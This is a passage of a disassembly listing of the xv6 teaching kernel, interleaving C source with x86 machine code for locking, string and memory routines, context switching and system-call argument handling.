mov (%eax),%eax for(i = 0; i < 10; i++){ 80104481: 83 fe 0a cmp $0xa,%esi 80104484: 75 e2 jne 80104468 <acquire+0x58> } 80104486: 8d 65 f8 lea -0x8(%ebp),%esp 80104489: 5b pop %ebx 8010448a: 5e pop %esi 8010448b: 5d pop %ebp 8010448c: c3 ret 8010448d: 8d 76 00 lea 0x0(%esi),%esi 80104490: 8d 04 b2 lea (%edx,%esi,4),%eax 80104493: 83 c2 28 add $0x28,%edx 80104496: 8d 76 00 lea 0x0(%esi),%esi 80104499: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi pcs[i] = 0; 801044a0: c7 00 00 00 00 00 movl $0x0,(%eax) 801044a6: 83 c0 04 add $0x4,%eax for(; i < 10; i++) 801044a9: 39 d0 cmp %edx,%eax 801044ab: 75 f3 jne 801044a0 <acquire+0x90> } 801044ad: 8d 65 f8 lea -0x8(%ebp),%esp 801044b0: 5b pop %ebx 801044b1: 5e pop %esi 801044b2: 5d pop %ebp 801044b3: c3 ret panic("acquire"); 801044b4: 83 ec 0c sub $0xc,%esp 801044b7: 68 f5 76 10 80 push $0x801076f5 801044bc: e8 cf be ff ff call 80100390 <panic> 801044c1: eb 0d jmp 801044d0 <release> 801044c3: 90 nop 801044c4: 90 nop 801044c5: 90 nop 801044c6: 90 nop 801044c7: 90 nop 801044c8: 90 nop 801044c9: 90 nop 801044ca: 90 nop 801044cb: 90 nop 801044cc: 90 nop 801044cd: 90 nop 801044ce: 90 nop 801044cf: 90 nop 801044d0 <release>: { 801044d0: 55 push %ebp 801044d1: 89 e5 mov %esp,%ebp 801044d3: 53 push %ebx 801044d4: 83 ec 10 sub $0x10,%esp 801044d7: 8b 5d 08 mov 0x8(%ebp),%ebx if(!holding(lk)) 801044da: 53 push %ebx 801044db: e8 00 ff ff ff call 801043e0 <holding> 801044e0: 83 c4 10 add $0x10,%esp 801044e3: 85 c0 test %eax,%eax 801044e5: 74 22 je 80104509 <release+0x39> lk->pcs[0] = 0; 801044e7: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) lk->cpu = 0; 801044ee: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) __sync_synchronize(); 801044f5: f0 83 0c 24 00 lock orl $0x0,(%esp) asm volatile("movl $0, %0" : "+m" (lk->locked) : ); 801044fa: c7 03 00 00 00 00 movl $0x0,(%ebx) } 80104500: 8b 5d fc mov -0x4(%ebp),%ebx 80104503: c9 leave popcli(); 80104504: e9 77 fe ff ff jmp 80104380 <popcli> panic("release"); 80104509: 83 ec 0c sub $0xc,%esp 8010450c: 68 fd 76 10 80 push $0x801076fd 80104511: e8 7a be ff ff call 80100390 <panic> 80104516: 66 90 xchg %ax,%ax 80104518: 66 90 xchg %ax,%ax 8010451a: 66 90 xchg %ax,%ax 8010451c: 66 90 xchg %ax,%ax 8010451e: 66 90 xchg %ax,%ax 80104520 <memset>: #include "types.h" #include "x86.h" void* memset(void *dst, int c, uint n) { 80104520: 55 push %ebp 80104521: 89 e5 mov %esp,%ebp 80104523: 57 push %edi 80104524: 53 push %ebx 80104525: 8b 55 08 mov 0x8(%ebp),%edx 80104528: 8b 4d 10 mov 0x10(%ebp),%ecx if ((int)dst%4 == 0 && n%4 == 0){ 8010452b: f6 c2 03 test $0x3,%dl 8010452e: 75 05 jne 80104535 <memset+0x15> 80104530: f6 c1 03 test $0x3,%cl 80104533: 74 13 je 80104548 <memset+0x28> asm volatile("cld; rep stosb" : 80104535: 89 d7 mov %edx,%edi 80104537: 8b 45 0c mov 0xc(%ebp),%eax 8010453a: fc cld 8010453b: f3 aa rep stos %al,%es:(%edi) c &= 0xFF; stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); } else stosb(dst, c, n); return dst; } 8010453d: 5b pop %ebx 8010453e: 89 d0 mov %edx,%eax 80104540: 5f pop %edi 80104541: 5d pop %ebp 80104542: c3 ret 80104543: 90 nop 80104544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c &= 0xFF; 80104548: 0f b6 7d 0c movzbl 0xc(%ebp),%edi stosl(dst, (c<<24)|(c<<16)|(c<<8)|c, n/4); 8010454c: c1 e9 02 shr $0x2,%ecx 8010454f: 89 f8 mov %edi,%eax 80104551: 89 fb mov %edi,%ebx 80104553: c1 e0 18 shl $0x18,%eax 80104556: c1 e3 10 shl $0x10,%ebx 80104559: 09 d8 or %ebx,%eax 8010455b: 09 f8 or %edi,%eax 8010455d: c1 e7 08 shl $0x8,%edi 80104560: 09 f8 or %edi,%eax asm volatile("cld; rep stosl" : 80104562: 89 d7 mov %edx,%edi 80104564: fc cld 80104565: f3 ab rep stos %eax,%es:(%edi) } 80104567: 5b pop %ebx 80104568: 89 d0 mov %edx,%eax 8010456a: 5f pop %edi 8010456b: 5d pop %ebp 8010456c: c3 ret 8010456d: 8d 76 00 lea 0x0(%esi),%esi 80104570 <memcmp>: int memcmp(const void *v1, const void *v2, uint n) { 80104570: 55 push %ebp 80104571: 89 e5 mov %esp,%ebp 80104573: 57 push %edi 80104574: 56 push %esi 80104575: 53 push %ebx 80104576: 8b 5d 10 mov 0x10(%ebp),%ebx 80104579: 8b 75 08 mov 0x8(%ebp),%esi 8010457c: 8b 7d 0c mov 0xc(%ebp),%edi const uchar *s1, *s2; s1 = v1; s2 = v2; while(n-- > 0){ 8010457f: 85 db test %ebx,%ebx 80104581: 74 29 je 801045ac <memcmp+0x3c> if(*s1 != *s2) 80104583: 0f b6 16 movzbl (%esi),%edx 80104586: 0f b6 0f movzbl (%edi),%ecx 80104589: 38 d1 cmp %dl,%cl 8010458b: 75 2b jne 801045b8 <memcmp+0x48> 8010458d: b8 01 00 00 00 mov $0x1,%eax 80104592: eb 14 jmp 801045a8 <memcmp+0x38> 80104594: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104598: 0f b6 14 06 movzbl (%esi,%eax,1),%edx 8010459c: 83 c0 01 add $0x1,%eax 8010459f: 0f b6 4c 07 ff movzbl -0x1(%edi,%eax,1),%ecx 801045a4: 38 ca cmp %cl,%dl 801045a6: 75 10 jne 801045b8 <memcmp+0x48> while(n-- > 0){ 801045a8: 39 d8 cmp %ebx,%eax 801045aa: 75 ec jne 80104598 <memcmp+0x28> return *s1 - *s2; s1++, s2++; } return 0; } 801045ac: 5b pop %ebx return 0; 801045ad: 31 c0 xor %eax,%eax } 801045af: 5e pop %esi 801045b0: 5f pop %edi 801045b1: 5d pop %ebp 801045b2: c3 ret 801045b3: 90 nop 801045b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return *s1 - *s2; 801045b8: 0f b6 c2 movzbl %dl,%eax } 801045bb: 5b pop %ebx return *s1 - *s2; 801045bc: 29 c8 sub %ecx,%eax } 801045be: 5e pop %esi 801045bf: 5f pop %edi 801045c0: 5d pop %ebp 801045c1: c3 ret 801045c2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801045d0 <memmove>: void* memmove(void *dst, const void *src, uint n) { 801045d0: 55 push %ebp 801045d1: 89 e5 mov %esp,%ebp 801045d3: 56 push %esi 801045d4: 53 push %ebx 801045d5: 8b 45 08 mov 0x8(%ebp),%eax 801045d8: 8b 5d 0c mov 0xc(%ebp),%ebx 801045db: 8b 75 10 mov 0x10(%ebp),%esi const char *s; char *d; s = src; d = dst; if(s < d && s + n > d){ 801045de: 39 c3 cmp %eax,%ebx 801045e0: 73 26 jae 80104608 <memmove+0x38> 801045e2: 8d 0c 33 lea (%ebx,%esi,1),%ecx 801045e5: 39 c8 cmp %ecx,%eax 801045e7: 73 1f jae 80104608 <memmove+0x38> s += n; d += n; while(n-- > 0) 801045e9: 85 f6 test %esi,%esi 801045eb: 8d 56 ff lea -0x1(%esi),%edx 801045ee: 74 0f je 801045ff <memmove+0x2f> *--d = *--s; 801045f0: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 801045f4: 88 0c 10 mov %cl,(%eax,%edx,1) while(n-- > 0) 801045f7: 83 ea 01 sub $0x1,%edx 801045fa: 83 fa ff cmp $0xffffffff,%edx 801045fd: 75 f1 jne 801045f0 <memmove+0x20> } else while(n-- > 0) *d++ = *s++; return dst; } 801045ff: 5b pop %ebx 80104600: 5e pop %esi 80104601: 5d pop %ebp 80104602: c3 ret 80104603: 90 nop 80104604: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while(n-- > 0) 80104608: 31 d2 xor %edx,%edx 8010460a: 85 f6 test %esi,%esi 8010460c: 74 f1 je 801045ff <memmove+0x2f> 8010460e: 66 90 xchg %ax,%ax *d++ = *s++; 80104610: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 80104614: 88 0c 10 mov %cl,(%eax,%edx,1) 80104617: 83 c2 01 add $0x1,%edx while(n-- > 0) 8010461a: 39 d6 cmp %edx,%esi 8010461c: 75 f2 jne 80104610 <memmove+0x40> } 8010461e: 5b pop %ebx 8010461f: 5e pop %esi 80104620: 5d pop %ebp 80104621: c3 ret 80104622: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104629: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104630 <memcpy>: // memcpy exists to placate GCC. Use memmove. void* memcpy(void *dst, const void *src, uint n) { 80104630: 55 push %ebp 80104631: 89 e5 mov %esp,%ebp return memmove(dst, src, n); } 80104633: 5d pop %ebp return memmove(dst, src, n); 80104634: eb 9a jmp 801045d0 <memmove> 80104636: 8d 76 00 lea 0x0(%esi),%esi 80104639: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104640 <strncmp>: int strncmp(const char *p, const char *q, uint n) { 80104640: 55 push %ebp 80104641: 89 e5 mov %esp,%ebp 80104643: 57 push %edi 80104644: 56 push %esi 80104645: 8b 7d 10 mov 0x10(%ebp),%edi 80104648: 53 push %ebx 80104649: 8b 4d 08 mov 0x8(%ebp),%ecx 8010464c: 8b 75 0c mov 0xc(%ebp),%esi while(n > 0 && *p && *p == *q) 8010464f: 85 ff test %edi,%edi 80104651: 74 2f je 80104682 <strncmp+0x42> 80104653: 0f b6 01 movzbl (%ecx),%eax 80104656: 0f b6 1e movzbl (%esi),%ebx 80104659: 84 c0 test %al,%al 8010465b: 74 37 je 80104694 <strncmp+0x54> 8010465d: 38 c3 cmp %al,%bl 8010465f: 75 33 jne 80104694 <strncmp+0x54> 80104661: 01 f7 add %esi,%edi 80104663: eb 13 jmp 80104678 <strncmp+0x38> 80104665: 8d 76 00 lea 0x0(%esi),%esi 80104668: 0f b6 01 movzbl (%ecx),%eax 8010466b: 84 c0 test %al,%al 8010466d: 74 21 je 80104690 <strncmp+0x50> 8010466f: 0f b6 1a movzbl (%edx),%ebx 80104672: 89 d6 mov %edx,%esi 80104674: 38 d8 cmp %bl,%al 80104676: 75 1c jne 80104694 <strncmp+0x54> n--, p++, q++; 80104678: 8d 56 01 lea 0x1(%esi),%edx 8010467b: 83 c1 01 add $0x1,%ecx while(n > 0 && *p && *p == *q) 8010467e: 39 fa cmp %edi,%edx 80104680: 75 e6 jne 80104668 <strncmp+0x28> if(n == 0) return 0; return (uchar)*p - (uchar)*q; } 80104682: 5b pop %ebx return 0; 80104683: 31 c0 xor %eax,%eax } 80104685: 5e pop %esi 80104686: 5f pop %edi 80104687: 5d pop %ebp 80104688: c3 ret 80104689: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104690: 0f b6 5e 01 movzbl 0x1(%esi),%ebx return (uchar)*p - (uchar)*q; 80104694: 29 d8 sub %ebx,%eax } 80104696: 5b pop %ebx 80104697: 5e pop %esi 80104698: 5f pop %edi 80104699: 5d pop %ebp 8010469a: c3 ret 8010469b: 90 nop 8010469c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801046a0 <strncpy>: char* strncpy(char *s, const char *t, int n) { 801046a0: 55 push %ebp 801046a1: 89 e5 mov %esp,%ebp 801046a3: 56 push %esi 801046a4: 53 push %ebx 801046a5: 8b 45 08 mov 0x8(%ebp),%eax 801046a8: 8b 5d 0c mov 0xc(%ebp),%ebx 801046ab: 8b 4d 10 mov 0x10(%ebp),%ecx char *os; os = s; while(n-- > 0 && (*s++ = *t++) != 0) 801046ae: 89 c2 mov %eax,%edx 801046b0: eb 19 jmp 801046cb <strncpy+0x2b> 801046b2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801046b8: 83 c3 01 add $0x1,%ebx 801046bb: 0f b6 4b ff movzbl -0x1(%ebx),%ecx 801046bf: 83 c2 01 add $0x1,%edx 801046c2: 84 c9 test %cl,%cl 801046c4: 88 4a ff mov %cl,-0x1(%edx) 801046c7: 74 09 je 801046d2 <strncpy+0x32> 801046c9: 89 f1 mov %esi,%ecx 801046cb: 85 c9 test %ecx,%ecx 801046cd: 8d 71 ff lea -0x1(%ecx),%esi 801046d0: 7f e6 jg 801046b8 <strncpy+0x18> ; while(n-- > 0) 801046d2: 31 c9 xor %ecx,%ecx 801046d4: 85 f6 test %esi,%esi 801046d6: 7e 17 jle 801046ef <strncpy+0x4f> 801046d8: 90 nop 801046d9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi *s++ = 0; 801046e0: c6 04 0a 00 movb $0x0,(%edx,%ecx,1) 801046e4: 89 f3 mov %esi,%ebx 801046e6: 83 c1 01 add $0x1,%ecx 801046e9: 29 cb sub %ecx,%ebx while(n-- > 0) 801046eb: 85 db test %ebx,%ebx 801046ed: 7f f1 jg 801046e0 <strncpy+0x40> return os; } 801046ef: 5b pop %ebx 801046f0: 5e pop %esi 801046f1: 5d pop %ebp 801046f2: c3 ret 801046f3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801046f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104700 <safestrcpy>: // Like strncpy but guaranteed to NUL-terminate. char* safestrcpy(char *s, const char *t, int n) { 80104700: 55 push %ebp 80104701: 89 e5 mov %esp,%ebp 80104703: 56 push %esi 80104704: 53 push %ebx 80104705: 8b 4d 10 mov 0x10(%ebp),%ecx 80104708: 8b 45 08 mov 0x8(%ebp),%eax 8010470b: 8b 55 0c mov 0xc(%ebp),%edx char *os; os = s; if(n <= 0) 8010470e: 85 c9 test %ecx,%ecx 80104710: 7e 26 jle 80104738 <safestrcpy+0x38> 80104712: 8d 74 0a ff lea -0x1(%edx,%ecx,1),%esi 80104716: 89 c1 mov %eax,%ecx 80104718: eb 17 jmp 80104731 <safestrcpy+0x31> 8010471a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return os; while(--n > 0 && (*s++ = *t++) != 0) 80104720: 83 c2 01 add $0x1,%edx 80104723: 0f b6 5a ff movzbl -0x1(%edx),%ebx 80104727: 83 c1 01 add $0x1,%ecx 8010472a: 84 db test %bl,%bl 8010472c: 88 59 ff mov %bl,-0x1(%ecx) 8010472f: 74 04 je 80104735 <safestrcpy+0x35> 80104731: 39 f2 cmp %esi,%edx 80104733: 75 eb jne 80104720 <safestrcpy+0x20> ; *s = 0; 80104735: c6 01 00 movb $0x0,(%ecx) return os; } 80104738: 5b pop %ebx 80104739: 5e pop %esi 8010473a: 5d pop %ebp 8010473b: c3 ret 8010473c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104740 <strlen>: int strlen(const char *s) { 80104740: 55 push %ebp int n; for(n = 0; s[n]; n++) 80104741: 31 c0 xor %eax,%eax { 80104743: 89 e5 mov %esp,%ebp 80104745: 8b 55 08 mov 0x8(%ebp),%edx for(n = 0; s[n]; n++) 80104748: 80 3a 00 cmpb $0x0,(%edx) 8010474b: 74 0c je 80104759 <strlen+0x19> 8010474d: 8d 76 00 lea 0x0(%esi),%esi 80104750: 83 c0 01 add $0x1,%eax 80104753: 80 3c 02 00 cmpb $0x0,(%edx,%eax,1) 80104757: 75 f7 jne 80104750 <strlen+0x10> ; return n; } 80104759: 5d pop %ebp 8010475a: c3 ret 8010475b <swtch>: # a struct context, and save its address in *old. # Switch stacks to new and pop previously-saved registers. .globl swtch swtch: movl 4(%esp), %eax 8010475b: 8b 44 24 04 mov 0x4(%esp),%eax movl 8(%esp), %edx 8010475f: 8b 54 24 08 mov 0x8(%esp),%edx # Save old callee-saved registers pushl %ebp 80104763: 55 push %ebp pushl %ebx 80104764: 53 push %ebx pushl %esi 80104765: 56 push %esi pushl %edi 80104766: 57 push %edi # Switch stacks movl %esp, (%eax) 80104767: 89 20 mov %esp,(%eax) movl %edx, %esp 80104769: 89 d4 mov %edx,%esp # Load new callee-saved registers popl %edi 8010476b: 5f pop %edi popl %esi 8010476c: 5e pop %esi popl %ebx 8010476d: 5b pop %ebx popl %ebp 8010476e: 5d pop %ebp ret 8010476f: c3 ret 80104770 <fetchint>: // to a saved program counter, and then the first argument. // Fetch the int at addr from the current process. int fetchint(uint addr, int *ip) { 80104770: 55 push %ebp 80104771: 89 e5 mov %esp,%ebp 80104773: 53 push %ebx 80104774: 83 ec 04 sub $0x4,%esp 80104777: 8b 5d 08 mov 0x8(%ebp),%ebx struct proc *curproc = myproc(); 8010477a: e8 61 f0 ff ff call 801037e0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010477f: 8b 00 mov (%eax),%eax 80104781: 39 d8 cmp %ebx,%eax 80104783: 76 1b jbe 801047a0 <fetchint+0x30> 80104785: 8d 53 04 lea 0x4(%ebx),%edx 80104788: 39 d0 cmp %edx,%eax 8010478a: 72 14 jb 801047a0 <fetchint+0x30> return -1; *ip = *(int*)(addr); 8010478c: 8b 45 0c mov 0xc(%ebp),%eax 8010478f: 8b 13 mov (%ebx),%edx 80104791: 89 10 mov %edx,(%eax) return 0; 80104793: 31 c0 xor %eax,%eax } 80104795: 83 c4 04 add $0x4,%esp 80104798: 5b pop %ebx 80104799: 5d pop %ebp 8010479a: c3 ret 8010479b: 90 nop 8010479c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801047a0: b8 ff ff ff ff mov $0xffffffff,%eax 801047a5: eb ee jmp 80104795 <fetchint+0x25> 801047a7: 89 f6 mov %esi,%esi 801047a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801047b0 <fetchstr>: // Fetch the nul-terminated string at addr from the current process. // Doesn't actually copy the string - just sets *pp to point at it. // Returns length of string, not including nul. int fetchstr(uint addr, char **pp) { 801047b0: 55 push %ebp 801047b1: 89 e5 mov %esp,%ebp 801047b3: 53 push %ebx 801047b4: 83 ec 04 sub $0x4,%esp 801047b7: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 801047ba: e8 21 f0 ff ff call 801037e0 <myproc> if(addr >= curproc->sz) 801047bf: 39 18 cmp %ebx,(%eax) 801047c1: 76 29 jbe 801047ec <fetchstr+0x3c> return -1; *pp = (char*)addr; 801047c3: 8b 4d 0c mov 0xc(%ebp),%ecx 801047c6: 89 da mov %ebx,%edx 801047c8: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 801047ca: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 801047cc: 39 c3 cmp %eax,%ebx 801047ce: 73 1c jae 801047ec <fetchstr+0x3c> if(*s == 0) 801047d0: 80 3b 00 cmpb $0x0,(%ebx) 801047d3: 75 10 jne 801047e5 <fetchstr+0x35> 801047d5: eb 39 jmp 80104810 <fetchstr+0x60> 801047d7: 89 f6 mov %esi,%esi 801047d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801047e0: 80 3a 00 cmpb $0x0,(%edx) 801047e3: 74 1b je 80104800 <fetchstr+0x50> for(s = *pp; s < ep; s++){ 801047e5: 83 c2 01 add $0x1,%edx 801047e8: 39 d0 cmp %edx,%eax 801047ea: 77 f4 ja 801047e0 <fetchstr+0x30> return -1; 801047ec: b8 ff ff ff ff mov $0xffffffff,%eax return s - *pp; } return -1; } 801047f1: 83 c4 04 add $0x4,%esp 801047f4: 5b pop %ebx 801047f5: 5d pop %ebp 801047f6: c3 ret 801047f7: 89 f6 mov %esi,%esi 801047f9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104800: 83 c4 04 add $0x4,%esp 80104803: 89 d0 mov %edx,%eax 80104805: 29 d8 sub %ebx,%eax 80104807: 5b pop %ebx 80104808: 5d pop %ebp 80104809: c3 ret 8010480a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(*s == 0) 80104810: 31 c0 xor %eax,%eax return s - *pp; 80104812: eb dd jmp 801047f1 <fetchstr+0x41> 80104814: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010481a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104820 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 80104820: 55 push %ebp 80104821: 89 e5 mov %esp,%ebp 80104823: 56 push %esi 80104824: 53 push %ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104825: e8 b6 ef ff ff call 801037e0 <myproc> 8010482a: 8b 40 18 mov 0x18(%eax),%eax 8010482d: 8b 55 08 mov 0x8(%ebp),%edx 80104830: 8b 40 44 mov 0x44(%eax),%eax 80104833: 8d 1c 90 lea (%eax,%edx,4),%ebx struct proc *curproc = myproc(); 80104836: e8 a5 ef ff ff call 801037e0 <myproc> if(addr >= curproc->sz || addr+4 > curproc->sz) 8010483b: 8b 00 mov (%eax),%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 8010483d: 8d 73 04 lea 0x4(%ebx),%esi if(addr >= curproc->sz || addr+4 > curproc->sz) 80104840: 39 c6 cmp %eax,%esi 80104842: 73 1c jae 80104860 <argint+0x40> 80104844: 8d 53 08 lea 0x8(%ebx),%edx 80104847: 39 d0 cmp %edx,%eax 80104849: 72 15 jb 80104860 <argint+0x40> *ip = *(int*)(addr); 8010484b: 8b 45 0c mov 0xc(%ebp),%eax 8010484e: 8b 53 04 mov 0x4(%ebx),%edx 80104851: 89 10 mov %edx,(%eax) return 0; 80104853: 31 c0 xor %eax,%eax } 80104855: 5b pop %ebx 80104856: 5e pop %esi 80104857: 5d pop %ebp 80104858: c3 ret 80104859: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104860: b8 ff ff ff ff mov $0xffffffff,%eax return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104865: eb ee jmp 80104855 <argint+0x35> 80104867: 89 f6 mov %esi,%esi 80104869: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104870 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104870: 55 push %ebp 80104871: 89 e5 mov %esp,%ebp 80104873: 56 push %esi 80104874: 53 push %ebx 80104875: 83 ec 10 sub $0x10,%esp 80104878: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 8010487b: e8 60 ef ff ff call 801037e0 <myproc> 80104880: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104882: 8d 45 f4 lea -0xc(%ebp),%eax 80104885: 83 ec 08 sub $0x8,%esp 80104888: 50 push %eax 80104889: ff 75 08 pushl 0x8(%ebp) 8010488c: e8 8f ff ff ff call 80104820 <argint> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104891: 83 c4 10 add $0x10,%esp 80104894: 85 c0 test %eax,%eax 80104896: 78 28 js 801048c0 <argptr+0x50> 80104898: 85 db test %ebx,%ebx 8010489a: 78 24 js 801048c0 <argptr+0x50> 8010489c: 8b 16 mov (%esi),%edx 8010489e: 8b 45 f4 mov -0xc(%ebp),%eax 801048a1: 39 c2 cmp %eax,%edx 801048a3: 76 1b jbe 801048c0 <argptr+0x50> 801048a5: 01 c3 add %eax,%ebx 801048a7: 39 da cmp %ebx,%edx 801048a9: 72 15 jb 801048c0 <argptr+0x50> return -1; *pp = (char*)i; 801048ab: 8b 55 0c mov 0xc(%ebp),%edx 801048ae: 89 02 mov %eax,(%edx) return 0; 801048b0: 31 c0 xor %eax,%eax } 801048b2: 8d 65 f8 lea -0x8(%ebp),%esp 801048b5: 5b pop %ebx 801048b6: 5e pop %esi 801048b7: 5d pop %ebp 801048b8: c3 ret 801048b9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi return -1; 801048c0: b8 ff ff ff ff mov $0xffffffff,%eax 801048c5: eb eb jmp 801048b2 <argptr+0x42> 801048c7: 89 f6 mov %esi,%esi 801048c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801048d0 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 801048d0: 55 push %ebp 801048d1: 89 e5 mov %esp,%ebp 801048d3: 83 ec 20 sub $0x20,%esp int addr; if(argint(n, &addr) < 0) 801048d6: 8d 45 f4 lea -0xc(%ebp),%eax 801048d9: 50 push %eax 801048da: ff 75 08 pushl 0x8(%ebp) 801048dd: e8 3e ff ff ff call 80104820 <argint> 801048e2: 83 c4 10 add $0x10,%esp 801048e5: 85 c0 test %eax,%eax 801048e7: 78 17 js 80104900 <argstr+0x30> return -1; return fetchstr(addr, pp); 801048e9: 83 ec 08 sub $0x8,%esp 801048ec: ff 75 0c pushl 0xc(%ebp) 801048ef: ff 75 f4 pushl -0xc(%ebp) 801048f2: e8 b9 fe ff ff call 801047b0 <fetchstr> 801048f7: 83 c4 10 add $0x10,%esp } 801048fa: c9 leave 801048fb: c3 ret 801048fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80104900: b8 ff ff ff ff mov $0xffffffff,%eax } 80104905: c9 leave 80104906: c3 ret 80104907: 89 f6 mov %esi,%esi 80104909: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80104910 <syscall>: [SYS_cps] sys_cps, }; void syscall(void) { 80104910: 55 push %ebp 80104911: 89 e5 mov %esp,%ebp 80104913: 53 push %ebx 80104914: 83 ec 04 sub $0x4,%esp int num; struct proc *curproc = myproc(); 80104917: e8 c4 ee ff ff call 801037e0 <myproc> 8010491c: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 8010491e: 8b 40 18 mov 0x18(%eax),%eax 80104921: 8b 40 1c mov 0x1c(%eax),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 80104924: 8d 50 ff lea -0x1(%eax),%edx 80104927: 83 fa 17 cmp $0x17,%edx 8010492a: 77 1c ja 80104948 <syscall+0x38> 8010492c: 8b 14 85 40 77 10 80 mov -0x7fef88c0(,%eax,4),%edx 80104933: 85 d2 test %edx,%edx 80104935: 74 11 je 80104948 <syscall+0x38> curproc->tf->eax = syscalls[num](); 80104937: ff d2 call *%edx 80104939: 8b 53 18 mov 0x18(%ebx),%edx 8010493c: 89 42 1c mov %eax,0x1c(%edx) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 8010493f: 8b 5d fc mov -0x4(%ebp),%ebx 80104942: c9 leave 80104943: c3 ret 80104944: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi cprintf("%d %s: unknown sys call %d\n", 80104948: 50 push %eax curproc->pid, curproc->name, num); 80104949: 8d 43 6c lea 0x6c(%ebx),%eax cprintf("%d %s: unknown sys call %d\n", 8010494c: 50 push %eax 8010494d: ff 73 10 pushl 0x10(%ebx) 80104950: 68 05 77 10 80 push $0x80107705 80104955: e8 06 bd ff ff call 80100660 <cprintf> curproc->tf->eax = -1; 8010495a: 8b 43 18 mov 0x18(%ebx),%eax 8010495d: 83 c4 10 add $0x10,%esp 80104960: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } 80104967: 8b 5d fc mov -0x4(%ebp),%ebx 8010496a: c9 leave 8010496b: c3 ret 8010496c: 66 90 xchg %ax,%ax 8010496e: 66 90 xchg %ax,%ax 80104970 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104970: 55 push %ebp 80104971: 89 e5 mov %esp,%ebp 80104973: 57 push %edi 80104974: 56 push %esi 80104975: 53 push %ebx struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80104976: 8d 75 da lea -0x26(%ebp),%esi { 80104979: 83 ec 34 sub $0x34,%esp 8010497c: 89 4d d0 mov %ecx,-0x30(%ebp) 8010497f: 8b 4d 08 mov 0x8(%ebp),%ecx if((dp = nameiparent(path, name)) == 0) 80104982: 56 push %esi 80104983: 50 push %eax { 80104984: 89 55 d4 mov %edx,-0x2c(%ebp) 80104987: 89 4d cc mov %ecx,-0x34(%ebp) if((dp = nameiparent(path, name)) == 0) 8010498a: e8 71 d5 ff ff call 80101f00 <nameiparent> 8010498f: 83 c4 10 add $0x10,%esp 80104992: 85 c0 test %eax,%eax 80104994: 0f 84 46 01 00 00 je 80104ae0 <create+0x170> return 0; ilock(dp); 8010499a: 83 ec 0c sub $0xc,%esp 8010499d: 89 c3 mov %eax,%ebx 8010499f: 50 push %eax 801049a0: e8 db cc ff ff call 80101680 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 801049a5: 83 c4 0c add $0xc,%esp 801049a8: 6a 00 push $0x0 801049aa: 56 push %esi 801049ab: 53 push %ebx 801049ac: e8 ff d1 ff ff call 80101bb0 <dirlookup> 801049b1: 83 c4 10 add $0x10,%esp 801049b4: 85 c0 test %eax,%eax 801049b6: 89 c7 mov %eax,%edi 801049b8: 74 36 je 801049f0 <create+0x80> iunlockput(dp); 801049ba: 83 ec 0c sub 